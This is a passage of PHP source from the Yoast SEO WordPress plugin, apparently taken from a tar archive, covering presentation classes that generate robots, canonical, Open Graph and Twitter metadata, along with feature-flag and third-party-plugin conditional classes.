 * @property array        $bingbot
 */
class Indexable_Presentation extends Abstract_Presentation {

	/**
	 * The indexable.
	 *
	 * @var Indexable
	 */
	public $model;

	/**
	 * The meta tags context.
	 *
	 * @var Meta_Tags_Context
	 */
	public $context;

	/**
	 * The Schema generator.
	 *
	 * @var Schema_Generator
	 */
	protected $schema_generator;

	/**
	 * The Open Graph image generator.
	 *
	 * @var Open_Graph_Image_Generator
	 */
	protected $open_graph_image_generator;

	/**
	 * The Twitter image generator.
	 *
	 * @var Twitter_Image_Generator
	 */
	protected $twitter_image_generator;

	/**
	 * The Open Graph locale generator.
	 *
	 * @var Open_Graph_Locale_Generator
	 */
	private $open_graph_locale_generator;

	/**
	 * The breadcrumbs generator.
	 *
	 * @var Breadcrumbs_Generator
	 */
	private $breadcrumbs_generator;

	/**
	 * The current page helper.
	 *
	 * @var Current_Page_Helper
	 */
	protected $current_page;

	/**
	 * The image helper.
	 *
	 * @var Image_Helper
	 */
	protected $image;

	/**
	 * The options helper.
	 *
	 * @var Options_Helper
	 */
	protected $options;

	/**
	 * The URL helper.
	 *
	 * @var Url_Helper
	 */
	protected $url;

	/**
	 * The user helper.
	 *
	 * @var User_Helper
	 */
	protected $user;

	/**
	 * The indexable helper.
	 *
	 * @var Indexable_Helper
	 */
	protected $indexable_helper;

	/**
	 * The permalink helper.
	 *
	 * @var Permalink_Helper
	 */
	protected $permalink_helper;

	/**
	 * The values helper.
	 *
	 * @var Values_Helper
	 */
	protected $values_helper;

	/**
	 * Sets the generator dependencies.
	 *
	 * @required
	 *
	 * @param Schema_Generator            $schema_generator            The schema generator.
	 * @param Open_Graph_Locale_Generator $open_graph_locale_generator The Open Graph locale generator.
	 * @param Open_Graph_Image_Generator  $open_graph_image_generator  The Open Graph image generator.
	 * @param Twitter_Image_Generator     $twitter_image_generator     The Twitter image generator.
	 * @param Breadcrumbs_Generator       $breadcrumbs_generator       The breadcrumbs generator.
	 *
	 * @return void
	 */
	public function set_generators(
		Schema_Generator $schema_generator,
		Open_Graph_Locale_Generator $open_graph_locale_generator,
		Open_Graph_Image_Generator $open_graph_image_generator,
		Twitter_Image_Generator $twitter_image_generator,
		Breadcrumbs_Generator $breadcrumbs_generator
	) {
		$this->schema_generator            = $schema_generator;
		$this->open_graph_locale_generator = $open_graph_locale_generator;
		$this->open_graph_image_generator  = $open_graph_image_generator;
		$this->twitter_image_generator     = $twitter_image_generator;
		$this->breadcrumbs_generator       = $breadcrumbs_generator;
	}

	/**
	 * Used by dependency injection container to inject the helpers.
	 *
	 * @required
	 *
	 * @param Image_Helper        $image        The image helper.
	 * @param Options_Helper      $options      The options helper.
	 * @param Current_Page_Helper $current_page The current page helper.
	 * @param Url_Helper          $url          The URL helper.
	 * @param User_Helper         $user         The user helper.
	 * @param Indexable_Helper    $indexable    The indexable helper.
	 * @param Permalink_Helper    $permalink    The permalink helper.
	 * @param Values_Helper       $values       The values helper.
	 *
	 * @return void
	 */
	public function set_helpers(
		Image_Helper $image,
		Options_Helper $options,
		Current_Page_Helper $current_page,
		Url_Helper $url,
		User_Helper $user,
		Indexable_Helper $indexable,
		Permalink_Helper $permalink,
		Values_Helper $values
	) {
		$this->image            = $image;
		$this->options          = $options;
		$this->current_page     = $current_page;
		$this->url              = $url;
		$this->user             = $user;
		$this->indexable_helper = $indexable;
		$this->permalink_helper = $permalink;
		$this->values_helper    = $values;
	}

	/**
	 * Gets the permalink from the indexable or generates it if dynamic permalinks are enabled.
	 *
	 * @return string The permalink.
	 */
	public function generate_permalink() {
		if ( $this->indexable_helper->dynamic_permalinks_enabled() ) {
			return $this->permalink_helper->get_permalink_for_indexable( $this->model );
		}

		if ( \is_date() ) {
			return $this->current_page->get_date_archive_permalink();
		}

		if ( \is_attachment() ) {
			global $wp;
			return \trailingslashit( \home_url( $wp->request ) );
		}

		return $this->model->permalink;
	}

	/**
	 * Generates the title.
	 *
	 * @return string The title.
	 */
	public function generate_title() {
		if ( $this->model->title ) {
			return $this->model->title;
		}

		return '';
	}

	/**
	 * Generates the meta description.
	 *
	 * @return string The meta description.
	 */
	public function generate_meta_description() {
		if ( $this->model->description ) {
			return $this->model->description;
		}

		return '';
	}

	/**
	 * Generates the robots value.
	 *
	 * @return array The robots value.
	 */
	public function generate_robots() {
		$robots = $this->get_base_robots();

		return $this->filter_robots( $robots );
	}

	/**
	 * Gets the base robots value.
	 *
	 * @return array The base robots value.
	 */
	protected function get_base_robots() {
		return [
			'index'             => ( $this->model->is_robots_noindex === true ) ? 'noindex' : 'index',
			'follow'            => ( $this->model->is_robots_nofollow === true ) ? 'nofollow' : 'follow',
			'max-snippet'       => 'max-snippet:-1',
			'max-image-preview' => 'max-image-preview:large',
			'max-video-preview' => 'max-video-preview:-1',
		];
	}

	/**
	 * Run the robots output content through the `wpseo_robots` filter.
	 *
	 * @param array $robots The meta robots values to filter.
	 *
	 * @return array The filtered meta robots values.
	 */
	protected function filter_robots( $robots ) {
		// Remove values that are only listened to when indexing.
		if ( $robots['index'] === 'noindex' ) {
			$robots['imageindex']        = null;
			$robots['archive']           = null;
			$robots['snippet']           = null;
			$robots['max-snippet']       = null;
			$robots['max-image-preview'] = null;
			$robots['max-video-preview'] = null;
		}

		$robots_string = \implode( ', ', \array_filter( $robots ) );

		/**
		 * Filter: 'wpseo_robots' - Allows filtering of the meta robots output of Yoast SEO.
		 *
		 * @param string                 $robots       The meta robots directives to be echoed.
		 * @param Indexable_Presentation $presentation The presentation of an indexable.
		 */
		$robots_filtered = \apply_filters( 'wpseo_robots', $robots_string, $this );

		// Convert the robots string back to an array.
		if ( \is_string( $robots_filtered ) ) {
			$robots_values = \explode( ', ', $robots_filtered );
			$robots_new    = [];

			foreach ( $robots_values as $value ) {
				$key = $value;

				// Change `noindex` to `index.
				if ( \strpos( $key, 'no' ) === 0 ) {
					$key = \substr( $value, 2 );
				}
				// Change `max-snippet:-1` to `max-snippet`.
				$colon_position = \strpos( $key, ':' );
				if ( $colon_position !== false ) {
					$key = \substr( $value, 0, $colon_position );
				}

				$robots_new[ $key ] = $value;
			}

			$robots = $robots_new;
		}

		if ( \is_bool( $robots_filtered ) && ( $robots_filtered === false ) ) {
			return [
				'index'  => 'noindex',
				'follow' => 'nofollow',
			];
		}

		if ( ! $robots_filtered ) {
			return [];
		}

		/**
		 * Filter: 'wpseo_robots_array' - Allows filtering of the meta robots output array of Yoast SEO.
		 *
		 * @param array                  $robots       The meta robots directives to be used.
		 * @param Indexable_Presentation $presentation The presentation of an indexable.
		 */
		return \apply_filters( 'wpseo_robots_array', \array_filter( $robots ), $this );
	}

	/**
	 * Generates the canonical.
	 *
	 * @return string The canonical.
	 */
	public function generate_canonical() {
		if ( $this->model->canonical ) {
			return $this->model->canonical;
		}

		if ( $this->permalink ) {
			return $this->permalink;
		}

		return '';
	}

	/**
	 * Generates the rel prev.
	 *
	 * @return string The rel prev value.
	 */
	public function generate_rel_prev() {
		return '';
	}

	/**
	 * Generates the rel next.
	 *
	 * @return string The rel prev next.
	 */
	public function generate_rel_next() {
		return '';
	}

	/**
	 * Generates the Open Graph type.
	 *
	 * @return string The Open Graph type.
	 */
	public function generate_open_graph_type() {
		return 'website';
	}

	/**
	 * Generates the open graph title.
	 *
	 * @return string The open graph title.
	 */
	public function generate_open_graph_title() {
		if ( $this->model->open_graph_title ) {
			$open_graph_title = $this->model->open_graph_title;
		}

		if ( empty( $open_graph_title ) ) {
			// The helper applies a filter, but we don't have a default value at this stage so we pass an empty string.
			$open_graph_title = $this->values_helper->get_open_graph_title( '', $this->model->object_type, $this->model->object_sub_type );
		}

		if ( empty( $open_graph_title ) ) {
			$open_graph_title = $this->title;
		}

		return $open_graph_title;
	}

	/**
	 * Generates the open graph description.
	 *
	 * @return string The open graph description.
	 */
	public function generate_open_graph_description() {
		if ( $this->model->open_graph_description ) {
			$open_graph_description = $this->model->open_graph_description;
		}

		if ( empty( $open_graph_description ) ) {
			// The helper applies a filter, but we don't have a default value at this stage so we pass an empty string.
			$open_graph_description = $this->values_helper->get_open_graph_description( '', $this->model->object_type, $this->model->object_sub_type );
		}

		if ( empty( $open_graph_description ) ) {
			$open_graph_description = $this->meta_description;
		}

		return $open_graph_description;
	}

	/**
	 * Generates the open graph images.
	 *
	 * @return array The open graph images.
	 */
	public function generate_open_graph_images() {
		if ( $this->context->open_graph_enabled === false ) {
			return [];
		}

		return $this->open_graph_image_generator->generate( $this->context );
	}

	/**
	 * Generates the open graph image ID.
	 *
	 * @return string The open graph image ID.
	 */
	public function generate_open_graph_image_id() {
		if ( $this->model->open_graph_image_id ) {
			return $this->model->open_graph_image_id;
		}

		return $this->values_helper->get_open_graph_image_id( 0, $this->model->object_type, $this->model->object_sub_type );
	}

	/**
	 * Generates the open graph image URL.
	 *
	 * @return string The open graph image URL.
	 */
	public function generate_open_graph_image() {
		if ( $this->model->open_graph_image ) {
			return $this->model->open_graph_image;
		}

		return $this->values_helper->get_open_graph_image( '', $this->model->object_type, $this->model->object_sub_type );
	}

	/**
	 * Generates the open graph url.
	 *
	 * @return string The open graph url.
	 */
	public function generate_open_graph_url() {
		if ( $this->model->canonical ) {
			return $this->model->canonical;
		}

		return $this->permalink;
	}

	/**
	 * Generates the open graph article publisher.
	 *
	 * @return string The open graph article publisher.
	 */
	public function generate_open_graph_article_publisher() {
		return '';
	}

	/**
	 * Generates the open graph article author.
	 *
	 * @return string The open graph article author.
	 */
	public function generate_open_graph_article_author() {
		return '';
	}

	/**
	 * Generates the open graph article published time.
	 *
	 * @return string The open graph article published time.
	 */
	public function generate_open_graph_article_published_time() {
		return '';
	}

	/**
	 * Generates the open graph article modified time.
	 *
	 * @return string The open graph article modified time.
	 */
	public function generate_open_graph_article_modified_time() {
		return '';
	}

	/**
	 * Generates the open graph locale.
	 *
	 * @return string The open graph locale.
	 */
	public function generate_open_graph_locale() {
		return $this->open_graph_locale_generator->generate( $this->context );
	}

	/**
	 * Generates the open graph site name.
	 *
	 * @return string The open graph site name.
	 */
	public function generate_open_graph_site_name() {
		return $this->context->wordpress_site_name;
	}

	/**
	 * Generates the Twitter card type.
	 *
	 * @return string The Twitter card type.
	 */
	public function generate_twitter_card() {
		return $this->context->twitter_card;
	}

	/**
	 * Generates the Twitter title.
	 *
	 * @return string The Twitter title.
	 */
	public function generate_twitter_title() {
		if ( $this->model->twitter_title ) {
			return $this->model->twitter_title;
		}

		if ( $this->context->open_graph_enabled === true ) {
			$social_template_title = $this->values_helper->get_open_graph_title( '', $this->model->object_type, $this->model->object_sub_type );
			$open_graph_title      = $this->open_graph_title;

			// If the helper returns a value and it's different from the OG value in the indexable,
			// output it in a twitter: tag.
			if ( ! empty( $social_template_title ) && $social_template_title !== $open_graph_title ) {
				return $social_template_title;
			}

			// If the OG title is set, let og: tag take care of this.
			if ( ! empty( $open_graph_title ) ) {
				return '';
			}
		}

		if ( $this->title ) {
			return $this->title;
		}

		return '';
	}

	/**
	 * Generates the Twitter description.
	 *
	 * @return string The Twitter description.
	 */
	public function generate_twitter_description() {
		if ( $this->model->twitter_description ) {
			return $this->model->twitter_description;
		}

		if ( $this->context->open_graph_enabled === true ) {
			$social_template_description = $this->values_helper->get_open_graph_description( '', $this->model->object_type, $this->model->object_sub_type );
			$open_graph_description      = $this->open_graph_description;

			// If the helper returns a value and it's different from the OG value in the indexable,
			// output it in a twitter: tag.
			if ( ! empty( $social_template_description ) && $social_template_description !== $open_graph_description ) {
				return $social_template_description;
			}

			// If the OG description is set, let og: tag take care of this.
			if ( ! empty( $open_graph_description ) ) {
				return '';
			}
		}

		if ( $this->meta_description ) {
			return $this->meta_description;
		}

		return '';
	}

	/**
	 * Generates the Twitter image.
	 *
	 * @return string The Twitter image.
	 */
	public function generate_twitter_image() {
		$images = $this->twitter_image_generator->generate( $this->context );
		$image  = \reset( $images );

		// Use a user-defined Twitter image, if present.
		if ( $image && $this->context->indexable->twitter_image_source === 'set-by-user' ) {
			return $image['url'];
		}

		// Let the Open Graph tags, if enabled, handle the rest of the fallback hierarchy.
		if ( $this->context->open_graph_enabled === true && $this->open_graph_images ) {
			return '';
		}

		// Set a Twitter tag with the featured image, or a prominent image from the content, if present.
		if ( $image ) {
			return $image['url'];
		}

		return '';
	}

	/**
	 * Generates the Twitter creator.
	 *
	 * @return string The Twitter creator.
	 */
	public function generate_twitter_creator() {
		return '';
	}

	/**
	 * Generates the Twitter site.
	 *
	 * @return string The Twitter site.
	 */
	public function generate_twitter_site() {
		switch ( $this->context->site_represents ) {
			case 'person':
				$twitter = $this->user->get_the_author_meta( 'twitter', (int) $this->context->site_user_id );
				if ( empty( $twitter ) ) {
					$twitter = $this->options->get( 'twitter_site' );
				}
				break;
			case 'company':
			default:
				$twitter = $this->options->get( 'twitter_site' );
				break;
		}

		return $twitter;
	}

	/**
	 * Generates the source.
	 *
	 * @return array The source.
	 */
	public function generate_source() {
		return [];
	}

	/**
	 * Generates the schema for the page.
	 *
	 * @codeCoverageIgnore Wrapper method.
	 *
	 * @return array The Schema object.
	 */
	public function generate_schema() {
		return $this->schema_generator->generate( $this->context );
	}

	/**
	 * Generates the breadcrumbs for the page.
	 *
	 * @codeCoverageIgnore Wrapper method.
	 *
	 * @return array The breadcrumbs.
	 */
	public function generate_breadcrumbs() {
		return $this->breadcrumbs_generator->generate( $this->context );
	}

	/**
	 * Generates the estimated reading time.
	 *
	 * @codeCoverageIgnore Wrapper method.
	 *
	 * @return int|null The estimated reading time.
	 */
	public function generate_estimated_reading_time_minutes() {
		if ( $this->model->estimated_reading_time_minutes !== null ) {
			return $this->model->estimated_reading_time_minutes;
		}

		if ( $this->context->post === null ) {
			return null;
		}

		// 200 is the approximate estimated words per minute across languages.
		$words_per_minute = 200;
		$words            = \str_word_count( \wp_strip_all_tags( $this->context->post->post_content ) );
		return (int) \round( $words / $words_per_minute );
	}

	/**
	 * Strips all nested dependencies from the debug info.
	 *
	 * @return array
	 */
	public function __debugInfo() {
		return [
			'model'   => $this->model,
			'context' => $this->context,
		];
	}
}
wordpress-seo/src/presentations/indexable-static-posts-page-presentation.php000064400000001721147510273100023570 0ustar00<?php

namespace Yoast\WP\SEO\Presentations;

use Yoast\WP\SEO\Helpers\Pagination_Helper;

/**
 * Class Indexable_Static_Posts_Page_Presentation.
 *
 * Presentation object for indexables.
 */
class Indexable_Static_Posts_Page_Presentation extends Indexable_Post_Type_Presentation {

	use Archive_Adjacent;

	/**
	 * The pagination helper.
	 *
	 * @var Pagination_Helper
	 */
	protected $pagination;

	/**
	 * Generates the canonical.
	 *
	 * @return string The canonical.
	 */
	public function generate_canonical() {
		if ( $this->model->canonical ) {
			return $this->model->canonical;
		}

		$current_page = $this->pagination->get_current_archive_page_number();

		if ( $current_page > 1 ) {
			return $this->pagination->get_paginated_url( $this->permalink, $current_page );
		}

		return $this->permalink;
	}

	/**
	 * Generates the Open Graph URL.
	 *
	 * @return string The Open Graph URL.
	 */
	public function generate_open_graph_url() {
		return $this->permalink;
	}
}
wordpress-seo/src/presentations/archive-adjacent-trait.php000064400000003235147510273100020072 0ustar00<?php

namespace Yoast\WP\SEO\Presentations;

use Yoast\WP\SEO\Helpers\Pagination_Helper;
use Yoast\WP\SEO\Models\Indexable;

/**
 * Class Archive_Adjacent.
 *
 * Presentation object for indexables.
 *
 * @property Indexable $model The indexable.
 */
trait Archive_Adjacent {

	/**
	 * Holds the Pagination_Helper instance.
	 *
	 * @var Pagination_Helper
	 */
	protected $pagination;

	/**
	 * Sets the helpers for the trait.
	 *
	 * @required
	 *
	 * @codeCoverageIgnore
	 *
	 * @param Pagination_Helper $pagination The pagination helper.
	 *
	 * @return void
	 */
	public function set_archive_adjacent_helpers( Pagination_Helper $pagination ) {
		$this->pagination = $pagination;
	}

	/**
	 * Generates the rel prev.
	 *
	 * @return string
	 */
	public function generate_rel_prev() {
		if ( $this->pagination->is_rel_adjacent_disabled() ) {
			return '';
		}

		$current_page = \max( 1, $this->pagination->get_current_archive_page_number() );
		// Check if there is a previous page.
		if ( $current_page === 1 ) {
			return '';
		}
		// Check if the previous page is the first page.
		if ( $current_page === 2 ) {
			return $this->permalink;
		}

		return $this->pagination->get_paginated_url( $this->permalink, ( $current_page - 1 ) );
	}

	/**
	 * Generates the rel next.
	 *
	 * @return string
	 */
	public function generate_rel_next() {
		if ( $this->pagination->is_rel_adjacent_disabled() ) {
			return '';
		}

		$current_page = \max( 1, $this->pagination->get_current_archive_page_number() );
		if ( $this->pagination->get_number_of_archive_pages() <= $current_page ) {
			return '';
		}

		return $this->pagination->get_paginated_url( $this->permalink, ( $current_page + 1 ) );
	}
}
wordpress-seo/src/presentations/indexable-date-archive-presentation.php000064400000005512147510273100022557 0ustar00<?php

namespace Yoast\WP\SEO\Presentations;

use Yoast\WP\SEO\Helpers\Pagination_Helper;

/**
 * Class Indexable_Date_Archive_Presentation.
 *
 * Presentation object for indexables.
 */
class Indexable_Date_Archive_Presentation extends Indexable_Presentation {

	/**
	 * Holds the Pagination_Helper instance.
	 *
	 * @var Pagination_Helper
	 */
	protected $pagination;

	/**
	 * Indexable_Date_Archive_Presentation constructor.
	 *
	 * @param Pagination_Helper $pagination The pagination helper.
	 */
	public function __construct( Pagination_Helper $pagination ) {
		$this->pagination = $pagination;
	}

	/**
	 * Generates the canonical.
	 *
	 * @return string The canonical.
	 */
	public function generate_canonical() {
		$canonical = $this->current_page->get_date_archive_permalink();

		$current_page = $this->pagination->get_current_archive_page_number();
		if ( $current_page > 1 ) {
			return $this->pagination->get_paginated_url( $canonical, $current_page );
		}

		return $canonical;
	}

	/**
	 * Generates the robots value.
	 *
	 * @return array The robots value.
	 */
	public function generate_robots() {
		$robots = $this->get_base_robots();

		if ( $this->options->get( 'noindex-archive-wpseo', false ) ) {
			$robots['index'] = 'noindex';
		}

		return $this->filter_robots( $robots );
	}

	/**
	 * Generates the title.
	 *
	 * @return string The title.
	 */
	public function generate_title() {
		if ( $this->model->title ) {
			return $this->model->title;
		}

		return $this->options->get_title_default( 'title-archive-wpseo' );
	}

	/**
	 * Generates the rel prev.
	 *
	 * @return string The rel prev value.
	 */
	public function generate_rel_prev() {
		if ( $this->pagination->is_rel_adjacent_disabled() ) {
			return '';
		}

		$current_page = \max( 1, $this->pagination->get_current_archive_page_number() );
		// Check if there is a previous page.
		if ( $current_page === 1 ) {
			return '';
		}
		// Check if the previous page is the first page.
		if ( $current_page === 2 ) {
			return $this->current_page->get_date_archive_permalink();
		}

		return $this->pagination->get_paginated_url( $this->current_page->get_date_archive_permalink(), ( $current_page - 1 ) );
	}

	/**
	 * Generates the rel next.
	 *
	 * @return string The rel prev next.
	 */
	public function generate_rel_next() {
		if ( $this->pagination->is_rel_adjacent_disabled() ) {
			return '';
		}

		$current_page = \max( 1, $this->pagination->get_current_archive_page_number() );
		if ( $this->pagination->get_number_of_archive_pages() <= $current_page ) {
			return '';
		}

		return $this->pagination->get_paginated_url( $this->current_page->get_date_archive_permalink(), ( $current_page + 1 ) );
	}

	/**
	 * Generates the open graph url.
	 *
	 * @return string The open graph url.
	 */
	public function generate_open_graph_url() {
		return $this->current_page->get_date_archive_permalink();
	}
}
wordpress-seo/src/presentations/abstract-presentation.php000064400000004530147510273100020074 0ustar00<?php

namespace Yoast\WP\SEO\Presentations;

use AllowDynamicProperties;
use Exception;

/**
 * The abstract presentation class.
 */
#[AllowDynamicProperties]
class Abstract_Presentation {

	/**
	 * The model.
	 *
	 * @var mixed
	 */
	public $model;

	/**
	 * Whether or not there is a presentation prototype.
	 *
	 * @var bool
	 */
	private $is_prototype = true;

	/**
	 * Creates a model presentation.
	 *
	 * @param array $data The data that this is a presentation of.
	 *
	 * @return static A model presentation.
	 *
	 * @throws Exception If attempting to create a model presentation from another model presentation.
	 */
	public function of( $data ) {
		if ( ! $this->is_prototype() ) {
			throw new Exception( 'Attempting to create a model presentation from another model presentation. Use the prototype presentation gained from DI instead.' );
		}

		// Clone self to allow stateful services that do benefit from DI.
		$presentation = clone $this;
		foreach ( $data as $key => $value ) {
			$presentation->{$key} = $value;
		}
		$presentation->is_prototype = false;
		return $presentation;
	}

	/**
	 * Magic getter for lazy loading of generate functions.
	 *
	 * @param string $name The property to get.
	 *
	 * @return mixed The value if it could be generated.
	 *
	 * @throws Exception If there is no generator for the property.
	 */
	public function __get( $name ) {
		if ( $this->is_prototype() ) {
			throw new Exception( 'Attempting property access on prototype presentation. Use Presentation::of( $data ) to get a model presentation.' );
		}
		$generator = "generate_$name";
		if ( \method_exists( $this, $generator ) ) {
			$this->{$name} = $this->$generator();
			return $this->{$name};
		}
		throw new Exception( "Property $name has no generator. Expected function $generator." );
	}

	/**
	 * Magic isset for ensuring methods that have a generator are recognised.
	 *
	 * @codeCoverageIgnore Wrapper method.
	 *
	 * @param string $name The property to get.
	 *
	 * @return bool Whether or not there is a generator for the requested property.
	 */
	public function __isset( $name ) {
		return \method_exists( $this, "generate_$name" );
	}

	/**
	 * Returns `true` if this class is a prototype.
	 *
	 * @codeCoverageIgnore Wrapper method.
	 *
	 * @return bool If this class is a prototype or not.
	 */
	protected function is_prototype() {
		return $this->is_prototype;
	}
}
wordpress-seo/src/conditionals/feature-flag-conditional.php000064400000001617147510273100020216 0ustar00<?php

namespace Yoast\WP\SEO\Conditionals;

/**
 * Abstract class for creating conditionals based on feature flags.
 */
abstract class Feature_Flag_Conditional implements Conditional {

	/**
	 * Returns whether or not this conditional is met.
	 *
	 * @return bool Whether or not the conditional is met.
	 */
	public function is_met() {
		$feature_flag = \strtoupper( $this->get_feature_flag() );

		return \defined( 'YOAST_SEO_' . $feature_flag ) && \constant( 'YOAST_SEO_' . $feature_flag ) === true;
	}

	/**
	 * Returns the name of the feature flag.
	 * 'YOAST_SEO_' is automatically prepended to it and it will be uppercased.
	 *
	 * @return string the name of the feature flag.
	 */
	abstract protected function get_feature_flag();

	/**
	 * Returns the feature name.
	 *
	 * @return string the name of the feature flag.
	 */
	public function get_feature_name() {
		return $this->get_feature_flag();
	}
}
wordpress-seo/src/conditionals/deactivating-yoast-seo-conditional.php000064400000001302147510273100022226 0ustar00<?php

namespace Yoast\WP\SEO\Conditionals;

/**
 * Conditional that is only met when on deactivating Yoast SEO.
 */
class Deactivating_Yoast_Seo_Conditional implements Conditional {

	/**
	 * Returns whether this conditional is met.
	 *
	 * @return bool Whether the conditional is met.
	 */
	public function is_met() {
		// phpcs:ignore WordPress.Security.NonceVerification -- We can't verify nonce since this might run from any user.
		if ( isset( $_GET['action'] ) && \sanitize_text_field( \wp_unslash( $_GET['action'] ) ) === 'deactivate' && isset( $_GET['plugin'] ) && \sanitize_text_field( \wp_unslash( $_GET['plugin'] === 'wordpress-seo/wp-seo.php' ) ) ) {
			return true;
		}

		return false;
	}
}
wordpress-seo/src/conditionals/check-required-version-conditional.php000064400000000570147510273100022227 0ustar00<?php

namespace Yoast\WP\SEO\Conditionals;

/**
 * Conditional for the CHECK_REQUIRED_VERSION feature flag.
 */
class Check_Required_Version_Conditional extends Feature_Flag_Conditional {

	/**
	 * Returns the name of the feature flag.
	 *
	 * @return string The name of the feature flag.
	 */
	protected function get_feature_flag() {
		return 'CHECK_REQUIRED_VERSION';
	}
}
wordpress-seo/src/conditionals/addon-installation-conditional.php000064400000000666147510273100021443 0ustar00<?php

namespace Yoast\WP\SEO\Conditionals;

/**
 * Checks if the Addon_Installation constant is set.
 */
class Addon_Installation_Conditional extends Feature_Flag_Conditional {

	/**
	 * Returns the name of the feature flag.
	 * 'YOAST_SEO_' is automatically prepended to it and it will be uppercased.
	 *
	 * @return string the name of the feature flag.
	 */
	protected function get_feature_flag() {
		return 'ADDON_INSTALLATION';
	}
}
wordpress-seo/src/conditionals/third-party/wpml-conditional.php000064400000000627147510273100021102 0ustar00<?php

namespace Yoast\WP\SEO\Conditionals\Third_Party;

use Yoast\WP\SEO\Conditionals\Conditional;

/**
 * Conditional that is only met when WPML is active.
 */
class WPML_Conditional implements Conditional {

	/**
	 * Returns whether or not this conditional is met.
	 *
	 * @return bool Whether or not the conditional is met.
	 */
	public function is_met() {
		return \defined( 'WPML_PLUGIN_FILE' );
	}
}
wordpress-seo/src/conditionals/third-party/w3-total-cache-conditional.php000064400000000747147510273100022641 0ustar00<?php

namespace Yoast\WP\SEO\Conditionals\Third_Party;

use Yoast\WP\SEO\Conditionals\Conditional;

/**
 * Conditional that is only met when in the admin.
 */
class W3_Total_Cache_Conditional implements Conditional {

	/**
	 * Returns whether or not this conditional is met.
	 *
	 * @return bool Whether or not the conditional is met.
	 */
	public function is_met() {
		if ( ! \defined( 'W3TC_DIR' ) ) {
			return false;
		}

		return \function_exists( 'w3tc_objectcache_flush' );
	}
}
wordpress-seo/src/conditionals/third-party/polylang-conditional.php000064400000000666147510273100021753 0ustar00<?php

namespace Yoast\WP\SEO\Conditionals\Third_Party;

use Yoast\WP\SEO\Conditionals\Conditional;

/**
 * Conditional that is only met when the Polylang plugin is active.
 */
class Polylang_Conditional implements Conditional {

	/**
	 * Checks whether the Polylang plugin is installed and active.
	 *
	 * @return bool Whether Polylang is installed and active.
	 */
	public function is_met() {
		return \defined( 'POLYLANG_FILE' );
	}
}
wordpress-seo/src/conditionals/third-party/elementor-edit-conditional.php000064400000004560147510273100023040 0ustar00<?php

namespace Yoast\WP\SEO\Conditionals\Third_Party;

use Yoast\WP\SEO\Conditionals\Conditional;

/**
 * Conditional that is only met when on an Elementor edit page or when the current
 * request is an ajax request for saving our post meta data.
 */
class Elementor_Edit_Conditional implements Conditional {

	/**
	 * Returns whether this conditional is met.
	 *
	 * @return bool Whether the conditional is met.
	 */
	public function is_met() {
		global $pagenow;

		// Editing a post/page in Elementor.
		if ( $pagenow === 'post.php' && $this->is_elementor_get_action() ) {
			return true;
		}

		// Request for us saving a post/page in Elementor (submits our form via AJAX).
		return \wp_doing_ajax() && $this->is_yoast_save_post_action();
	}

	/**
	 * Checks if the current request' GET action is 'elementor'.
	 *
	 * @return bool True when the GET action is 'elementor'.
	 */
	private function is_elementor_get_action(): bool {
		// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information.
		if ( ! isset( $_GET['action'] ) ) {
			return false;
		}

		// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information.
		if ( ! \is_string( $_GET['action'] ) ) {
			return false;
		}

		// phpcs:ignore WordPress.Security.NonceVerification.Recommended,WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Reason: We are not processing form information, we are only strictly comparing.
		return \wp_unslash( $_GET['action'] ) === 'elementor';
	}

	/**
	 * Checks if the current request' POST action is 'wpseo_elementor_save'.
	 *
	 * @return bool True when the POST action is 'wpseo_elementor_save'.
	 */
	private function is_yoast_save_post_action(): bool {
		// phpcs:ignore WordPress.Security.NonceVerification.Missing -- Reason: We are not processing form information.
		if ( ! isset( $_POST['action'] ) ) {
			return false;
		}

		// phpcs:ignore WordPress.Security.NonceVerification.Missing -- Reason: We are not processing form information.
		if ( ! \is_string( $_POST['action'] ) ) {
			return false;
		}

		// phpcs:ignore WordPress.Security.NonceVerification.Missing,WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Reason: We are not processing form information, we are only strictly comparing.
		return \wp_unslash( $_POST['action'] ) === 'wpseo_elementor_save';
	}
}
wordpress-seo/src/conditionals/third-party/wpml-wpseo-conditional.php000064400000001310147510273100022223 0ustar00<?php

namespace Yoast\WP\SEO\Conditionals\Third_Party;

use Yoast\WP\SEO\Conditionals\Conditional;

/**
 * Conditional that is met when the Yoast SEO Multilingual plugin,
 * a glue plugin developed by and for WPML, is active.
 */
class WPML_WPSEO_Conditional implements Conditional {

	/**
	 * Path to the Yoast SEO Multilingual plugin file.
	 *
	 * @internal
	 */
	public const PATH_TO_WPML_WPSEO_PLUGIN_FILE = 'wp-seo-multilingual/plugin.php';

	/**
	 * Returns whether or not the Yoast SEO Multilingual plugin is active.
	 *
	 * @return bool Whether or not the Yoast SEO Multilingual plugin is active.
	 */
	public function is_met() {
		return \is_plugin_active( self::PATH_TO_WPML_WPSEO_PLUGIN_FILE );
	}
}
wordpress-seo/src/conditionals/third-party/translatepress-conditional.php000064400000000710147510273100023166 0ustar00<?php

namespace Yoast\WP\SEO\Conditionals\Third_Party;

use Yoast\WP\SEO\Conditionals\Conditional;

/**
 * Conditional that is only met when the TranslatePress plugin is active.
 */
class TranslatePress_Conditional implements Conditional {

	/**
	 * Checks whether the TranslatePress plugin is active.
	 *
	 * @return bool Whether the TranslatePress plugin is active.
	 */
	public function is_met() {
		return \class_exists( 'TRP_Translate_Press' );
	}
}
wordpress-seo/src/conditionals/third-party/elementor-activated-conditional.php000064400000000745147510273100024060 0ustar00<?php

namespace Yoast\WP\SEO\Conditionals\Third_Party;

use Yoast\WP\SEO\Conditionals\Conditional;

/**
 * Conditional that is met when the Elementor plugin is installed and activated.
 */
class Elementor_Activated_Conditional implements Conditional {

	/**
	 * Checks if the Elementor plugins is installed and activated.
	 *
	 * @return bool `true` when the Elementor plugin is installed and activated.
	 */
	public function is_met() {
		return \defined( 'ELEMENTOR__FILE__' );
	}
}
wordpress-seo/src/conditionals/semrush-enabled-conditional.php000064400000001343147510273100020726 0ustar00<?php

namespace Yoast\WP\SEO\Conditionals;

use Yoast\WP\SEO\Helpers\Options_Helper;

/**
 * Conditional that is only met when the SEMrush integration is enabled.
 */
class SEMrush_Enabled_Conditional implements Conditional {

	/**
	 * The options helper.
	 *
	 * @var Options_Helper
	 */
	private $options;

	/**
	 * SEMrush_Enabled_Conditional constructor.
	 *
	 * @param Options_Helper $options The options helper.
	 */
	public function __construct( Options_Helper $options ) {
		$this->options = $options;
	}

	/**
	 * Returns whether or not this conditional is met.
	 *
	 * @return bool Whether or not the conditional is met.
	 */
	public function is_met() {
